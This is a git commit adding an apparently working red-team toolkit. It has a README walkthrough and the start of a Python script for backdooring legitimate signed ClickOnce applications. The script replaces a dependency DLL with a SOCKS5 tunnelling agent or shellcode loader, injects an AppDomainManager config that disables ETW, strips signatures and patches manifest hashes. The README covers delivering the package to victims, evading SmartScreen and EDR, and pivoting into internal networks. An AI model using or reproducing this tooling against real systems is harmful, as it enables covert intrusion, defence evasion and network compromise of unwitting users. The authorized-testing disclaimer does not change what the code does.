Added Initial Files

This commit is contained in:
Dazzy Ddos
2026-02-14 22:18:05 +05:30
commit 7a80bb6c1c
17 changed files with 2721 additions and 0 deletions
+341
View File
@@ -0,0 +1,341 @@
# ClickOnce AppDomainManager Injection Toolkit
Weaponize signed .NET ClickOnce applications for initial access by hijacking a dependency DLL via AppDomainManager injection and loading a C# port of ProxyBlob Agent. Ships with a C# port of [ProxyBlob](https://github.com/quarkslab/proxyblob) — a SOCKS5 proxy that tunnels all traffic through Azure Blob Storage, blending into environments where `*.blob.core.windows.net` is whitelisted.
![](./assets/ClickOnceBlobber.png)
## Why This Works
ClickOnce is Microsoft's one-click deployment technology for .NET apps. When a user clicks a `.application` URL, Windows downloads and runs the app with no admin privileges required. The attack:
1. Take a **legitimate, signed** ClickOnce application with an existing reputation
2. **Replace** one of its dependency DLLs with the ProxyBlob SOCKS5 agent
3. **Inject** a `.exe.config` that tells the CLR to load our DLL as the AppDomainManager
4. **Patch** the manifest hashes to match our new files
5. **Host** it — the victim clicks the link, gets a real-looking app, and you get a SOCKS5 tunnel
The host `.exe` remains untouched and validly signed. SmartScreen sees a known binary. EDR sees a trusted process loading modules. Your agent communicates only with Azure Blob Storage over HTTPS.
![](./assets/ClickOnceBlobber.jpg)
## Repository Structure
```
├── clickonce_backdoor.py # Main script for backdooring ProxyBlob Agent DLL to ClickOnce App
├── examples/
│ ├── ProxyBlobAgent.cs # ProxyBlob Agent ClickOnce DLL payload (AppDomainManager)
│ ├── ProxyBlobStandalone.cs # Standalone Proxyblob console agent (for testing)
│ ├── ShellcodeLoader.cs # Alternative: shellcode loader payload
│ └── MessageBoxPoC.cs # PoC: message box (validates injection works)
└── README.md
```
## Prerequisites
**Attacker (Linux/macOS):**
- Python 3.10+
- [ProxyBlob proxy](https://github.com/quarkslab/proxyblob) (Go binary)
- Azure Storage Account (or [Azurite](https://github.com/Azure/Azurite) for local testing)
**Build machine (Windows):**
- .NET Framework csc.exe — ships at `C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe` (auto-detected)
- NuGet CLI — [download](https://www.nuget.org/downloads), place `nuget.exe` next to the script or add to PATH (only needed for `--proxyblob` mode)
The script auto-detects `csc.exe` and `nuget.exe`. For `--proxyblob`, BouncyCastle and ILMerge are auto-installed via NuGet on first run into a `packages/` directory next to the script (persists across runs).
## Architecture Support
The agent code is architecture-neutral (no P/Invoke, no shellcode). The `--platform` flag (passed to `csc.exe /platform:`) controls how the CLR loads it:
| `--platform` | Runs on x86 Windows | Runs on x64 Windows | When to use |
|--------------|---------------------|---------------------|-------------|
| `x86` (default) | 32-bit | 32-bit (WoW64) | Target app is x86 |
| `x64` | ✗ | 64-bit | Target app is x64 |
| `anycpu` | 32-bit | 64-bit | Standalone testing, or target is AnyCPU |
Check a target app with `corflags.exe TargetApp.exe` to determine its platform.
---
## Usage: End-to-End Walkthrough
### Step 1 — Set Up Azure Storage
```bash
# Create storage account
az storage account create \
--name yourblobaccount \
--resource-group yourgroup \
--sku Premium_LRS \
--kind BlockBlobStorage
# Get keys
az storage account keys list --account-name yourblobaccount --output table
```
Or use Azurite locally:
```bash
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite
```
### Step 2 — Start ProxyBlob Proxy
```bash
git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make
cat > config.json << 'EOF'
{
"storage_account_name": "yourblobaccount",
"storage_account_key": "YOUR_KEY_HERE"
}
EOF
./proxy -c config.json
```
In the proxy shell:
```
proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==
```
![](./assets/ProxyBlob1.png)
Save that connection string — it goes into the agent.
### Step 3 — Test with Standalone Agent First
Always verify the agent works independently before ClickOnce integration.
On the Windows build machine:
```powershell
# Compile
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
examples\ProxyBlobStandalone.cs ^
/r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/r:System.Net.Http.dll /r:netstandard.dll
# ILMerge into single exe (so BouncyCastle is embedded)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
/out:Agent.exe ^
ProxyBlobStandalone.exe ^
packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/targetplatform:v4
# Run
Agent.exe <connection-string>
```
Back on the proxy:
```
proxyblob » list
d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080
```
Test:
```bash
proxychains curl http://ipconfig.io
```
If this works, proceed to ClickOnce integration.
### Step 4 — Find a Target ClickOnce App
Find a target ClickOnce app during recon (search for `.application` URLs). You need:
Download the entire ClickOnce deployment:
```bash
# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application
```
![](./assets/appliction_downloader.png)
### Step 5 — Build and Patch in One Command
The script auto-compiles the C# source, handles NuGet dependencies (for `--proxyblob`), ILMerges BouncyCastle into the DLL, and patches all manifests — all in a single run:
![](./assets/firstrun.png)
```bash
# ProxyBlob mode — auto-compiles, auto-installs NuGet packages, auto-merges
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--output ./output
# PoC mode — quick validation that injection works
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--poc --output ./output
# Shellcode mode
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--shellcode beacon.bin --output ./output
# x64 target app
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER/ \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--platform x64 --output ./output
```
![](./assets/proxyblobexample1.png)
The script handles: generating the C# source with your settings baked in, compiling via `csc.exe`, ILMerging BouncyCastle (for `--proxyblob`), replacing the DLL, creating `.exe.config` with AppDomainManager injection, adding both files to manifests, recalculating all SHA256 hashes and file sizes, stripping code signatures, zeroing the vendor publicKeyToken, and updating the deployment provider URL.
**Manual override:** You can still use `--payload` to supply a pre-compiled DLL (skips compilation):
```bash
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--payload payload.dll \
--output ./output
```
> **⚠️ ILMerge Assembly Name Gotcha:** ILMerge sets the internal assembly name from the **output filename**, not the input. If you merge to `Foo_merged.dll` and then rename the file to `Foo.dll`, the internal name is still `Foo_merged` — the CLR reads metadata, not the filename. The `.exe.config` won't match, and AppDomainManager injection silently fails with no error. The script handles this correctly by ILMerging directly to the final name.
### Step 6 — Host and Deliver
```bash
# Built-in server with correct MIME types and cache headers
python3 clickonce_backdoor.py serve --port 8000 --dir ./output
```
![](./assets/proxyblobexample2.png)
Or use any web server with these MIME types configured:
```
.application → application/x-ms-application
.manifest → application/x-ms-manifest
.deploy → application/octet-stream
```
Send the victim: `http://YOUR-SERVER/APPLICATION.application`
They click Install → the app runs → your SOCKS5 tunnel opens.
![](./assets/proxyblobexample3.png)
### Step 7 — Use the Tunnel
```bash
# On the proxy machine
proxyblob » list
proxyblob » select <container-id>
proxyblob » start
# SOCKS5 on 127.0.0.1:1080
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains evil-winrm -i 10.0.0.50 -u admin -p password
proxychains curl http://internal-app.corp.local
```
![](./assets/proxyblobexample4.png)
![](./assets/proxyblobexample5.png)
![](./assets/proxyblobexample6.png)
---
## Troubleshooting
### Compilation
| Error | Fix |
|-------|-----|
| `csc.exe not found` | Install .NET Framework 4.x or add `csc.exe` to PATH |
| `nuget.exe not found` | Download from nuget.org, place next to script or add to PATH |
| `CS0012: type 'Object' ... netstandard` | Add `/r:netstandard.dll` to the csc command |
| `Metadata file ... net461 ... not found` | Use the `netstandard2.0` BouncyCastle path |
### Runtime
| Symptom | Cause | Fix |
|---------|-------|-----|
| `FileNotFoundException: BouncyCastle.Cryptography` | DLL not embedded | Use ILMerge to create single DLL |
| AppDomainManager not loading after ClickOnce run | Internal assembly name mismatch | Assembly name must match `.exe.config`. Check with `ildasm /text Dll.dll \| findstr ".assembly"` |
| Agent exits with code 3 | Connection string invalid or expired | Regenerate with `create` in proxy |
| ClickOnce install fails silently | Manifest hash mismatch | Re-run automation script or recalculate SHA256 hashes manually |
| `RefDefValidation` error during install | Third-party DLL strong-name token zeroed | The script only zeros the vendor token. Use `--dll-name` to set the payload DLL name if needed |
### ClickOnce Cache
Clear between test deployments:
```powershell
rundll32 dfshim CleanOnlineAppCache
```
### Diagnostic Mode
For debugging, use `ProxyBlobStandalone.cs` first — it writes detailed logs to stderr showing packet types, connection events, and errors. Once confirmed working, switch to `ProxyBlobAgent.cs` for ClickOnce integration.
---
## How the C# Agent Works
The agent is a faithful port of the [Go ProxyBlob agent](https://github.com/quarkslab/proxyblob/blob/main/cmd/agent/main.go). Three critical bugs were found and fixed during the port:
**1. UUID Byte Order** — Go's `uuid.UUID` stores 16 bytes in RFC 4122 (big-endian) order. .NET's `Guid` constructor swaps the first 3 components to little-endian, causing ConnectionID mismatches on the wire. Fixed by using raw `byte[16]` arrays.
**2. XChaCha20-Poly1305** — Go uses `chacha20poly1305.NewX()` = XChaCha20 with 24-byte nonces. BouncyCastle's `ChaCha20Poly1305` only supports 12-byte IETF nonces. Fixed by implementing HChaCha20 subkey derivation:
```
subkey = HChaCha20(key, nonce[0:16]) // ChaCha20 quarter-rounds on key+nonce
ietf_nonce = 0x00000000 || nonce[16:24] // Remaining 8 bytes become IETF nonce
ciphertext = ChaCha20Poly1305(subkey, ietf_nonce, plaintext)
```
**3. Base64 Padding** — Go uses `base64.RawStdEncoding` (no `=` padding). .NET requires padding. Fixed by auto-padding before decode.
### Protocol
```
Packet: [Command:1B][ConnectionID:16B][DataLength:4B BE][Payload:var]
Commands: NEW(0x01) ACK(0x02) DATA(0x03) CLOSE(0x04)
Key Exchange:
Proxy → Agent: CmdNew [nonce:24][pubkey:32]
Agent → Proxy: CmdAck [agentPubkey:32]
Symmetric key: HKDF-SHA3-256(X25519(privA, pubB), salt=nonce, info=nil)
Encryption: XChaCha20-Poly1305 on all CmdData payloads
Blob Transport:
info — username@hostname XOR 0xDEADB10B
request — proxy→agent (agent polls, reads, clears)
response — agent→proxy (agent writes, proxy reads, clears)
Polling: exponential backoff 50ms → 3s (×1.5)
```
---
## OPSEC Notes
- Traffic goes only to `*.blob.core.windows.net` over HTTPS — blends with legitimate Azure traffic
- No Azure SDK — raw HTTP REST API with SAS token auth (smaller binary, fewer imports to flag)
- Single DLL via ILMerge — no additional files dropped alongside the app
- Host `.exe` stays validly signed — only the dependency DLL and `.config` are modified
- Agent runs as a foreground thread — survives host app exit without spawning a new process
- Process appears in Task Manager as the legitimate app name (e.g., `APPLICATION`)
---
## Credits
- [Claude.ai](https://claude.ai)
- [ProxyBlob](https://github.com/quarkslab/proxyblob) — Quarkslab (Alexandre Nesic)
- [ClickOnce Research](https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1571c6b96a95) — SpecterOps (Nick Powers & Steven Flores)
## Disclaimer
This tool is for authorized security testing and research only. Only use against systems you have explicit written permission to test.
Binary file not shown.

After

Width:  |  Height:  |  Size: 418 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 112 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.0 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 887 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 416 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 192 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 73 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 42 KiB

+684
View File
@@ -0,0 +1,684 @@
#!/usr/bin/env python3
"""
ClickOnce AppDomainManager Injection Toolkit
=============================================
Usage:
python clickonce_backdoor.py --input ./App.application --url http://ATTACKER --payload payload.dll
python clickonce_backdoor.py --input ./App.application --url http://ATTACKER --poc
python clickonce_backdoor.py --input ./App.application --url http://ATTACKER --proxyblob <base64-conn-string>
python clickonce_backdoor.py serve --port 80 --dir ./output
"""
import argparse, base64, hashlib, os, re, shutil, subprocess, sys
from pathlib import Path
from semver import Version
BANNER = r"""
_________ .__ .__ __ ________ __________.__ ___. ___.
\_ ___ \| | |__| ____ | | _\_____ \ ____ ____ ____\______ \ | ____\_ |__\_ |__ ___________
/ \ \/| | | |/ ___\| |/ // | \ / \_/ ___\/ __ \| | _/ | / _ \| __ \| __ \_/ __ \_ __ \
\ \___| |_| \ \___| </ | \ | \ \__\ ___/| | \ |_( <_> ) \_\ \ \_\ \ ___/| | \/
\______ /____/__|\___ >__|_ \_______ /___| /\___ >___ >______ /____/\____/|___ /___ /\___ >__|
\/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/
ClickOnce + AppDomainManager Injection + ProxyBlob Toolkit
github.com/dazzyddos/ClickOnceBlobber
"""
def sha256_base64(fp):
h = hashlib.sha256()
with open(fp,'rb') as f:
for c in iter(lambda:f.read(8192),b''): h.update(c)
return base64.b64encode(h.digest()).decode()
def file_size(fp): return os.path.getsize(fp)
def find_csc():
"""Locate csc.exe, preferring modern Roslyn compiler over .NET Framework 4.x.
The .NET Framework 4.x csc.exe (v4.0.30319) only supports C# 5.
Our templates use C# 6+ features (expression-bodied members, etc.),
so we prefer the Roslyn-based compiler from Visual Studio or NuGet.
"""
# 1. Visual Studio / Build Tools Roslyn installations
for prog in [os.environ.get('ProgramFiles', r'C:\Program Files'),
os.environ.get('ProgramFiles(x86)', r'C:\Program Files (x86)')]:
vs_root = Path(prog) / 'Microsoft Visual Studio'
if vs_root.is_dir():
matches = sorted(vs_root.glob('*/*/MSBuild/Current/Bin/Roslyn/csc.exe'), reverse=True)
if matches: return matches[0]
# 2. NuGet-installed Roslyn compiler (next to script)
packages_dir = Path(__file__).parent / 'packages'
for pattern in ['Microsoft.Net.Compilers.Toolset.*/tasks/net472/csc.exe',
'Microsoft.Net.Compilers.*/tools/csc.exe']:
matches = sorted(packages_dir.glob(pattern), reverse=True)
if matches: return matches[0]
# 3. PATH (may be Roslyn or Framework — caller can check)
found = shutil.which('csc')
if found: return Path(found)
# 4. .NET Framework csc.exe — C# 5 only, last resort
windir = os.environ.get('SystemRoot', r'C:\Windows')
for sub in [r'Microsoft.NET\Framework64\v4.0.30319', r'Microsoft.NET\Framework\v4.0.30319']:
p = Path(windir) / sub / 'csc.exe'
if p.exists(): return p
return None
def find_nuget():
"""Locate nuget.exe next to this script or on PATH."""
local = Path(__file__).parent / 'nuget.exe'
if local.exists(): return local
found = shutil.which('nuget')
return Path(found) if found else None
def _run_cmd(cmd, description, cwd=None):
"""Run a command, raising RuntimeError with output on failure."""
r = subprocess.run(cmd, capture_output=True, cwd=cwd)
if r.returncode != 0:
out = r.stdout.decode('utf-8', errors='replace')
err = r.stderr.decode('utf-8', errors='replace')
raise RuntimeError(f'{description} failed (exit {r.returncode}):\n{out}\n{err}')
return r
def read_xml(fp):
with open(fp,'r',encoding='utf-8-sig') as f: return f.read()
def write_xml(fp, txt):
with open(fp,'w',encoding='utf-8',newline='\r\n') as f: f.write(txt)
# --- Raw XML text manipulation (preserves all original formatting/namespaces) ---
def xml_zero_pkt(t, vendor_token=None):
"""Zero publicKeyToken ONLY for the vendor's signing identity.
ClickOnce manifests contain publicKeyToken in two contexts:
1. The app/deployment identity (vendor's code-signing token) — MUST be zeroed
after signature removal, or ClickOnce refuses to load.
2. Third-party dependency references (e.g. Newtonsoft.Json with its own strong-name
token) — MUST NOT be touched, or ClickOnce throws RefDefValidation because the
manifest token no longer matches the actual DLL's embedded identity.
If vendor_token is provided, only that specific token value gets zeroed.
If vendor_token is None (legacy/fallback), zeros all tokens (old behavior).
"""
if vendor_token and vendor_token != '0000000000000000':
return t.replace(f'publicKeyToken="{vendor_token}"', 'publicKeyToken="0000000000000000"')
elif vendor_token is None:
# Fallback: only zero the FIRST assemblyIdentity (top-level identity element)
# This is safer than blanket replace but still a heuristic
return re.sub(r'publicKeyToken="[^"]*"', 'publicKeyToken="0000000000000000"', t)
return t
def xml_get_vendor_token(t):
"""Extract the vendor's publicKeyToken from the top-level assemblyIdentity.
In deployment manifests: <asmv1:assemblyIdentity ... publicKeyToken="XXXX" />
In app manifests: <asmv1:assemblyIdentity ... publicKeyToken="XXXX" />
This is always the FIRST assemblyIdentity in the document.
"""
m = re.search(r'<(?:asmv1:)?assemblyIdentity\s[^>]*publicKeyToken="([^"]*)"', t)
return m.group(1) if m else None
def xml_rm_sigs(t):
"""Remove all signature-related blocks from ClickOnce manifests.
ClickOnce Authenticode signatures have a complex nested structure:
<publisherIdentity ... />
<Signature Id="StrongNameSignature" xmlns="...">
<SignedInfo>...</SignedInfo>
<SignatureValue>...</SignatureValue>
<KeyInfo>
<msrel:RelData>
<r:license>
<r:issuer>
<Signature>...inner...</Signature> <-- inner sig
</r:issuer>
</r:license>
</msrel:RelData>
</KeyInfo>
</Signature> <-- outer closing
A naive <Signature.*?</Signature> regex matches inner-to-inner, leaving
orphan </r:issuer></r:license></msrel:RelData></KeyInfo></Signature> tags.
We must remove ALL of this.
"""
# Remove <publisherIdentity ... /> (self-closing)
t = re.sub(r'\s*<publisherIdentity[^/]*/>', '', t)
# Remove <publisherIdentity ...>...</publisherIdentity>
t = re.sub(r'\s*<publisherIdentity[^>]*>.*?</publisherIdentity>', '', t, flags=re.DOTALL)
# Remove the ENTIRE Signature block including nested Authenticode structure
# Strategy: match from <Signature all the way to the LAST </Signature> before </asmv1:assembly>
# Use greedy .* to consume everything between first <Signature and last </Signature>
t = re.sub(r'\s*<Signature\b.*</Signature>', '', t, flags=re.DOTALL)
# Safety net: remove any orphan closing tags from the Authenticode wrapper
# that might remain if the structure was unusual
t = re.sub(r'\s*</r:issuer>\s*</r:license>\s*</msrel:RelData>\s*</KeyInfo>\s*</Signature>', '', t)
# Clean up blank lines
t = re.sub(r'\n\s*\n\s*\n', '\n', t)
return t
def xml_update_file(t, name, sz, rm_hash=True):
esc = re.escape(name)
t = re.sub(rf'(<file\s+name="{esc}"\s+size=")\d+(")', rf'\g<1>{sz}\2', t)
if rm_hash:
t = re.sub(rf'(<file\s+name="{esc}"\s+size="\d+")\s*>\s*<hash>.*?</hash>\s*</file>',
r'\1 />', t, flags=re.DOTALL)
t = re.sub(rf'(<file\s+name="{esc}"\s+size="\d+")\s*>\s*</file>',
r'\1 />', t, flags=re.DOTALL)
return t
def xml_add_file(t, name, sz):
entry = f' <file name="{name}" size="{sz}" />\n'
return t.replace('</asmv1:assembly>', f'{entry}</asmv1:assembly>')
def xml_file_exists(t, name):
return bool(re.search(rf'<file\s+name="{re.escape(name)}"', t))
def xml_update_provider(t, url):
return re.sub(r'(<deploymentProvider\s+codebase=")[^"]*(")',
lambda m: m.group(1) + url + m.group(2), t)
def xml_update_dep_size(t, sz):
return re.sub(
r'(<dependentAssembly\s+dependencyType="install"\s+codebase="[^"]*\.manifest"\s+size=")\d+(")',
rf'\g<1>{sz}\2', t)
def xml_update_dep_hash(t, h):
def _rep(m):
b = m.group(0)
return re.sub(r'(<dsig:DigestValue>)[^<]*(</dsig:DigestValue>)', rf'\g<1>{h}\2', b)
return re.sub(
r'<dependentAssembly\s+dependencyType="install"\s+codebase="[^"]*\.manifest"[^>]*>.*?</dependentAssembly>',
_rep, t, flags=re.DOTALL)
def xml_get_exe(t):
m = re.search(r'<commandLine\s+file="([^"]*)"', t)
return m.group(1) if m else None
def xml_get_manifest_codebase(t):
m = re.search(r'<dependentAssembly\s+dependencyType="install"\s+codebase="([^"]*\.manifest)"', t)
return m.group(1) if m else None
def xml_has_mapext(t):
return bool(re.search(r'mapFileExtensions="true"', t, re.I))
# --- Payload Templates (loaded from examples/ directory) ---
def _find_examples_dir():
"""Locate the examples/ directory relative to the script."""
candidates = [
Path(__file__).parent / 'examples',
Path('./examples'),
]
for p in candidates:
if p.is_dir(): return p
return None
def _load_template(name):
"""Load a .cs template from the examples/ directory."""
d = _find_examples_dir()
if not d: return None
p = d / name
return p.read_text(encoding='utf-8') if p.exists() else None
def load_poc_template(): return _load_template('MessageBoxPoC.cs')
def load_sc_template(): return _load_template('ShellcodeLoader.cs')
def load_proxyblob_template(): return _load_template('ProxyBlobAgent.cs')
CFG_TPL = '''<?xml version="1.0" encoding="utf-8"?>
<configuration>
{existing} <runtime>
<appDomainManagerAssembly
value="{asm}, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null" />
<appDomainManagerType
value="{cls}" />
<etwEnable enabled="false" />
</runtime>
</configuration>
'''
def parse_existing_cfg(path):
if not os.path.exists(path): return ''
with open(path,'r',encoding='utf-8-sig') as f: c = f.read()
c = re.sub(r'<\?xml[^?]*\?>\s*','',c)
c = re.sub(r'^\s*<configuration[^>]*>\s*','',c,flags=re.DOTALL)
c = re.sub(r'\s*</configuration>\s*$','',c,flags=re.DOTALL)
c = re.sub(r'\s*<runtime>.*?</runtime>\s*','\n',c,flags=re.DOTALL)
lines = [f' {l.strip()}' for l in c.strip().split('\n') if l.strip()]
return '\n'.join(lines)+'\n' if lines else ''
# --- Main ---
class ClickOnceBackdoor:
def __init__(self, input_path, url, output='./output', payload=None,
shellcode=None, poc=False, dll_name=None, class_name=None,
verbose=False, proxyblob=None, platform='x86', silent=False):
self.input_path = Path(input_path).resolve()
self.url = url.rstrip('/')
self.output_dir = Path(output).resolve()
self.payload_dll = Path(payload).resolve() if payload else None
self.shellcode_path = Path(shellcode).resolve() if shellcode else None
self.poc = poc
self.proxyblob = proxyblob
self._dn = dll_name; self._cn = class_name
self.verbose = verbose
self.platform = platform
self.silent = silent
self.deploy_path = self.app_path = self.app_dir = None
self.exe_name = self.dll_name = self.class_name = None
self.vendor_token = None
self.work_dir = None
def log(self, m, l='INFO'):
if self.silent and l != 'ERROR': return
c = {'INFO':'\033[94m[*]\033[0m','OK':'\033[92m[+]\033[0m',
'WARN':'\033[93m[!]\033[0m','ERROR':'\033[91m[-]\033[0m',
'DEBUG':'\033[90m[D]\033[0m'}
print(f'{c.get(l,"[*]")} {m}')
def dbg(self, m):
if self.verbose: self.log(m,'DEBUG')
def _ensure_nuget_packages(self, packages_dir):
"""Install BouncyCastle and ILMerge via NuGet if not already present."""
needed = []
if not (packages_dir / 'BouncyCastle.Cryptography.2.5.1').is_dir():
needed.append(('BouncyCastle.Cryptography', '2.5.1'))
if not (packages_dir / 'ILMerge.3.0.41').is_dir():
needed.append(('ILMerge', '3.0.41'))
if not needed:
self.dbg('NuGet packages already present')
return
nuget = find_nuget()
if not nuget:
raise FileNotFoundError(
'nuget.exe not found. Download from nuget.org and place next to script or add to PATH.')
packages_dir.mkdir(parents=True, exist_ok=True)
for pkg, ver in needed:
self.log(f' Installing {pkg} {ver}...')
_run_cmd([str(nuget), 'install', pkg, '-Version', ver,
'-OutputDirectory', str(packages_dir)],
f'nuget install {pkg}')
self.log(f' Installed {pkg} {ver}','OK')
def _ensure_roslyn_compiler(self, packages_dir):
"""Install Roslyn compiler via NuGet if only the old Framework csc.exe is available.
The .NET Framework 4.x csc.exe (v4.0.30319) only supports C# 5.
Our templates require C# 6+ (expression-bodied members, etc.).
"""
csc = find_csc()
if csc and 'v4.0.30319' not in str(csc):
self.dbg(f'Roslyn csc.exe found: {csc}')
return # Already have a modern compiler
# Check if NuGet Roslyn already installed
for pattern in ['Microsoft.Net.Compilers.Toolset.*/tasks/net472/csc.exe',
'Microsoft.Net.Compilers.*/tools/csc.exe']:
if list(packages_dir.glob(pattern)):
return
nuget = find_nuget()
if not nuget:
raise FileNotFoundError(
'nuget.exe not found. Need nuget.exe to install Roslyn compiler. '
'Download from nuget.org and place next to script or add to PATH.')
packages_dir.mkdir(parents=True, exist_ok=True)
self.log(' Framework csc.exe is C# 5 only — installing Roslyn compiler...','WARN')
_run_cmd([str(nuget), 'install', 'Microsoft.Net.Compilers.Toolset',
'-OutputDirectory', str(packages_dir)],
'nuget install Microsoft.Net.Compilers.Toolset')
self.log(' Installed Roslyn compiler','OK')
def _compile_cs(self, cs_path, dll_path, references=None):
"""Compile a .cs file to a DLL using csc.exe."""
packages_dir = Path(__file__).parent / 'packages'
self._ensure_roslyn_compiler(packages_dir)
csc = find_csc()
if not csc:
raise FileNotFoundError(
'csc.exe not found. Ensure .NET Framework 4.x or Visual Studio is installed.')
self.dbg(f'Using compiler: {csc}')
cmd = [str(csc), '/t:library', f'/platform:{self.platform}',
'/nologo', f'/out:{dll_path}']
for ref in (references or []):
cmd.append(f'/r:{ref}')
cmd.append(str(cs_path))
self.dbg(f'Compiling: {" ".join(cmd)}')
_run_cmd(cmd, 'csc.exe compilation')
self.log(f' Compiled: {dll_path.name} ({file_size(dll_path):,} bytes)','OK')
def _ilmerge(self, pre_dll, final_dll, merge_dlls, packages_dir):
"""Merge assemblies using ILMerge."""
ilmerge = packages_dir / 'ILMerge.3.0.41' / 'tools' / 'net452' / 'ILMerge.exe'
if not ilmerge.exists():
raise FileNotFoundError(
f'ILMerge.exe not found at {ilmerge}. Run with --verbose to debug.')
cmd = [str(ilmerge), f'/out:{final_dll}', '/t:library',
str(pre_dll)] + [str(d) for d in merge_dlls] + ['/targetplatform:v4']
self.dbg(f'ILMerge: {" ".join(cmd)}')
_run_cmd(cmd, 'ILMerge')
self.log(f' Merged: {final_dll.name} ({file_size(final_dll):,} bytes)','OK')
def run(self):
try:
self.step1(); self.step2(); self.step3(); self.step4()
self.step5(); self.step6(); self.step7(); self.step8()
self.step9(); self.step10(); self.summary()
except Exception as e:
self.log(f'Fatal: {e}','ERROR')
if self.verbose: import traceback; traceback.print_exc()
sys.exit(1)
def step1(self):
self.log('Step 1: Discovering structure...')
if self.input_path.is_file() and self.input_path.suffix=='.application':
self.deploy_path = self.input_path; base = self.input_path.parent
elif self.input_path.is_dir():
fs = list(self.input_path.glob('*.application'))
if not fs: raise FileNotFoundError('No .application file found')
self.deploy_path = fs[0]; base = self.input_path
else: raise FileNotFoundError(f'Not found: {self.input_path}')
self.log(f' Deployment manifest: {self.deploy_path.name}','OK')
dtxt = read_xml(self.deploy_path)
cb = xml_get_manifest_codebase(dtxt)
if not cb: raise ValueError('No app manifest codebase found')
self.app_path = base / cb.replace('\\',os.sep)
if not self.app_path.exists(): raise FileNotFoundError(f'Not found: {self.app_path}')
self.app_dir = self.app_path.parent
self.log(f' App manifest: {self.app_path.name}','OK')
atxt = read_xml(self.app_path)
self.exe_name = xml_get_exe(atxt) or self.app_path.name.replace('.manifest','')
self.log(f' Target EXE: {self.exe_name}','OK')
# Extract vendor's publicKeyToken before we modify anything
self.vendor_token = xml_get_vendor_token(dtxt)
if self.vendor_token and self.vendor_token != '0000000000000000':
self.log(f' Vendor publicKeyToken: {self.vendor_token}','OK')
else:
self.vendor_token = None
self.log(f' No vendor publicKeyToken (unsigned)','OK')
safe = re.sub(r'[^a-zA-Z0-9_]','',self.exe_name.replace('.exe','')) or 'App'
self.dll_name = self._dn or f'{safe}Helper'
self.class_name = self._cn or f'{safe}Manager'
self.log(f' DLL: {self.dll_name}.dll | Class: {self.class_name}','OK')
self.use_deploy = xml_has_mapext(dtxt)
def step2(self):
self.log('Step 2: Preparing workspace...')
self.work_dir = Path('./clickonce_workspace').resolve()
if self.work_dir.exists(): shutil.rmtree(self.work_dir)
base = self.deploy_path.parent
shutil.copytree(str(base), str(self.work_dir))
self.deploy_path = self.work_dir / self.deploy_path.name
rel = self.app_dir.relative_to(base)
self.app_dir = self.work_dir / rel
self.app_path = self.app_dir / self.app_path.name
self.log(f' Workspace: {self.work_dir}','OK')
def step3(self):
if not self.use_deploy:
self.log('Step 3: No .deploy extensions'); return
self.log('Step 3: Stripping .deploy...')
n=0
for f in self.app_dir.rglob('*.deploy'):
f.rename(f.with_suffix('')); n+=1
self.log(f' Stripped {n} files','OK')
def step4(self):
self.log('Step 4: Preparing payload...')
dst = self.app_dir / f'{self.dll_name}.dll'
if self.payload_dll and self.payload_dll.exists():
shutil.copy2(str(self.payload_dll), str(dst))
self.log(f' Copied: {self.payload_dll.name} ({file_size(dst)} bytes)','OK')
elif self.proxyblob:
tpl = load_proxyblob_template()
if not tpl:
raise FileNotFoundError(
'examples/ProxyBlobAgent.cs not found. Ensure examples/ is next to this script.')
cs_src = tpl.replace('{CLASSNAME}', self.class_name).replace('{CONNSTRING}', self.proxyblob)
cs = self.app_dir / f'{self.dll_name}.cs'
cs.write_text(cs_src, encoding='utf-8')
self.log(f' Generated ProxyBlob agent source: {cs.name}','OK')
self.log(f' Connection string: {self.proxyblob[:32]}...','OK')
packages_dir = Path(__file__).parent / 'packages'
self._ensure_nuget_packages(packages_dir)
bc_dll = packages_dir / 'BouncyCastle.Cryptography.2.5.1' / 'lib' / 'netstandard2.0' / 'BouncyCastle.Cryptography.dll'
pre_dll = self.app_dir / f'{self.dll_name}_pre.dll'
self._compile_cs(cs, pre_dll, references=[
str(bc_dll), 'System.Net.Http.dll', 'netstandard.dll'])
self._ilmerge(pre_dll, dst, [bc_dll], packages_dir)
pre_dll.unlink(missing_ok=True)
cs.unlink(missing_ok=True)
elif self.shellcode_path and self.shellcode_path.exists():
tpl = load_sc_template()
if not tpl:
raise FileNotFoundError(
'examples/ShellcodeLoader.cs not found. Ensure examples/ is next to this script.')
with open(self.shellcode_path,'rb') as f: sc = f.read()
